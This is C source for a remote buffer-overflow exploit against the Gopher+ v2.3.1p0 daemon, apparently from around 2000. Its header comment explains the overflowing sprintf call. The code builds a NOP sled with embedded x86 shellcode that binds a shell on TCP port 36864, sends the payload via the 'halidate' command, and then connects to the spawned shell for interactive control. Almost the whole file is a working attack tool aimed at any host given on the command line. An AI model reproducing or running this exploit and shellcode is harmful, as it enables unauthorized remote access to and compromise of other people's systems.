Gopher+ v2.3.1p0 remote exploit - Spawns a remote shell on tcp port 36864 under the UID that the gopher+ daemon runs as. Tested against Linux Slackware 3.6 / 7.0.
71aa58978ab9c730cefaa09803a9c98febeb91b69d9d601ac9a232b790ac1e41
/*
Gopher+[v2.3.1p0-]: Daemon remote Xploit
by wildcoyote@coders-pt.org
Coded on: 13/08/y2k
Released: Same day heh...
Comments: This Stack Buffer Overflow was found/exploited by v9...
I saw his exploit at packetstorm and...decided to use this
buffer overflow in a better way ;)
v9's exploit tryes to had a suid account to /etc/passwd
the problem is: (v9's quote)
"This exploit requires that the service is running as
root (to write to /etc/passwd). Even if the gopher+
daemon displays itself running as another user, as
long as it's process is running as root(uid=0) it should
exploit successfully."
Which means:
a) if all goes "smoothly", you need to have a account on
the box to be root (or do you know any "recent" distributions
which by "default" let you telnet (remotly) to the box and
access a suided r00t account with no password? :P
b) You will only get something if the daemon runz with uid=0
I propose a different approach to this...how about we spawn a
remote shell on the box? No matter what are the user's (which
is running the daemon) priviligies, you'll have further access
(or even COMPLETE ;) to the remote box :]
This exploit as been "tested" on slackware 3.6/7.0... :]
Buggy Function: (according to v9 :P)
void
OutputAuthForm(int sockfd, char *pathname, char *host, int port, CMDprotocol p)
{
char tmpbuf[512];
...
sprintf(tmpbuf,
"<FORM METHOD=\"GET\" ACTION=\"https://%s:%d/halidate%%20%s\">\r\n",
host, port, pathname);
...
}
Heh, oh sprintf...you did it again :)
Greetz:
Kisses to niness and all of my (nowadays :D) friends...
Funny:
*** [c0r3dump] has quit IRC (Quit: gone, went to code gopher remote exploit, be back in 1 hour)
<frawd> gopher remote exploit?
<frawd> LOL
<frawd> nao se codam daemons de gopher ha anos
<frawd> bahahahahaha
*/
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#define DELAY 2
#define DEFAULT_OFFSET 0
#define PADDING 150
#define DEFAULT_ALIGN 0
#define DEFAULT_BUFFER_SIZE 512
#define RETURN_ADDRESS 0xbffff550
#define NOP 0x90
#define SPAWN_SHELL_PORT 36864 // dont change this, unless
// you mess with tha shellcode :]
// Spawn a shell at port 36864 :]
char shellcode[] =
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89\x46"
"\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89\x5e\x14"
"\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16\x8d"
"\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43"
"\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86\xc3"
"\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x88"
"\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8\x89\xff"
"\xff\xff/bin/sh";
int
openhost(char *host,int port) {
int sock;
struct sockaddr_in addr;
struct hostent *he;
he=gethostbyname(host);
if (he==NULL) return -1;
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (sock==-1) return -1;
memcpy(&addr.sin_addr, he->h_addr, he->h_length);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) return -1;
return sock;
}
void
sends(int sock,char *buf) {
write(sock,buf,strlen(buf));
}
void
spawned_shell(int sock)
{
char buf[1024];
fd_set rset;
int i;
while (1)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);
if (FD_ISSET(sock,&rset))
{
i=read(sock,buf,1024);
if (i <= 0)
{
printf("The connection was closed!\n");
printf("Exiting...\n\n");
exit(0);
}
buf[i]=0;
puts(buf);
}
if (FD_ISSET(STDIN_FILENO,&rset))
{
i=read(STDIN_FILENO,buf,1024);
if (i>0)
{
buf[i]=0;
write(sock,buf,i);
}
}
}
}
void
gophit(char *host, int port, int offset, int align)
{
char *buf_ptr, *ptr;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE+100, sock, i;
printf("Trying to connect to %s [%d]...",host,port);
sock=openhost(host,port);
if (sock==-1)
{
printf("FAILED\n");
printf("Exiting...\n\n");
exit(-1);
}
printf("SUCCESSFULL\n");
printf("Allocating mem for buffer overflow...\n");
if (!(buf_ptr=malloc(bsize)))
{
printf("Couldn't allocate memory!\n");
printf("Exiting...\n\n");
exit(-1);
}
printf("Preparing buffer...\n\n");
addr=RETURN_ADDRESS-offset;
printf("Using the following \"settings\":\n\n");
printf("ADDRESS = 0x%x\n",addr);
printf("OFFSET = %d\n",offset);
printf("ALIGNMENT = %d\n\n",align);
ptr=buf_ptr;
addr_ptr=(long *) ptr;
for (i=align;i<bsize;i+=4) *(addr_ptr++)=addr;
for (i=0;i<(bsize-strlen(shellcode)-PADDING);i++) buf_ptr[i]=NOP;
ptr=buf_ptr+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];
memcpy(buf_ptr,"halidate ",9);
buf_ptr[bsize]='\0';
printf("Sending evil'code...\n");
sends(sock,buf_ptr);
sleep(DELAY);
close(sock);
printf("Oh k! If all went well, we should have a suid'shell wainting for uz ;)\n");
printf("Connectin to spawned shell [port %d]...",SPAWN_SHELL_PORT);
sock=openhost(host,SPAWN_SHELL_PORT);
if (sock==-1)
{
printf("FAILED!\n");
printf("Too bad...exploit didn't work :\\\n");
printf("Exiting...\n\n");
exit(-1);
}
else
{
printf("SUCCESSFULL!\n");
printf("Shell spawned...ENJOY ;)\n");
spawned_shell(sock);
}
}
main(int argc, char *argv[])
{
printf("\nGopher+[v2.3.1p0-]: Daemon remote Xploit by wildcoyote@coders-pt.org\n\n");
if (argc<2)
{
printf("Sintaxe: %s <host> [port] [offset] [align 0-3]\n",argv[0]);
printf("Example: %s www.vulnerable.box 70 0 0\n",argv[0]);
printf("Regardz, wC...\n\n");
}
else if (argc==2) gophit(argv[1],70,0,DEFAULT_ALIGN);
else if (argc==3) gophit(argv[1],atoi(argv[2]),0,DEFAULT_ALIGN);
else if (argc==4) gophit(argv[1],atoi(argv[2]),atoi(argv[3]),DEFAULT_ALIGN);
else if ((atoi(argv[4])>=0) && (atoi(argv[4])<=3))
gophit(argv[1],atoi(argv[2]),atoi(argv[3]),atoi(argv[4]));
else {
printf("Bad Alignment (alignment should be between 0-3)\n");
printf("Using default alignment [%d]\n",DEFAULT_ALIGN);
gophit(argv[1],atoi(argv[2]),atoi(argv[3]),DEFAULT_ALIGN);
}
}